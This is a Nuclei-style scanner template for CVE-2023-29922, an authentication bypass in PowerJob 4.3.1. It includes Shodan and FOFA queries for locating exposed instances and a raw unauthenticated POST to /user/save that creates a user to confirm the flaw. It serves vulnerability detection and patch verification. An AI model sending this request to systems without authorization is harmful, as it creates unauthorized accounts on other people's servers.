id: CVE-2023-29922

info:
  name: PowerJob V4.3.1 - Authentication Bypass
  author: Co5mos
  severity: medium
  description: |
    PowerJob V4.3.1 is vulnerable to Incorrect Access Control via the create user/save interface.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of PowerJob V4.3.1.
  reference:
    - https://github.com/PowerJob/PowerJob/issues/585
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29922
    - https://github.com/CN016/Powerjob-CVE-2023-29922-
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/1820112015/CVE-2023-29923
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-29922
    cwe-id: CWE-1188
    epss-score: 0.90392
    epss-percentile: 0.99619
    cpe: cpe:2.3:a:powerjob:powerjob:4.3.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: powerjob
    product: powerjob
    shodan-query:
      - html:"PowerJob"
      - http.html:"powerjob"
    fofa-query:
      - app="PowerJob"
      - app="powerjob"
      - body="powerjob"
  tags: cve,cve2023,auth-bypass,powerjob,vuln
variables:
  str: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /user/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{str}}","phone":"{{str}}","email":"{{str}}","webHook":"{{str}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"data":null'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a0046304402201ed3f7b0ab2bf14e07ac4f6e91d40952e810e50e051fd772d6a1f6cca768ebf4022046cc731f368deead114f11935b2d52bca9ddb1193d3c324dd20c75faed940032:922c64590222798bb761d5b6d8e72950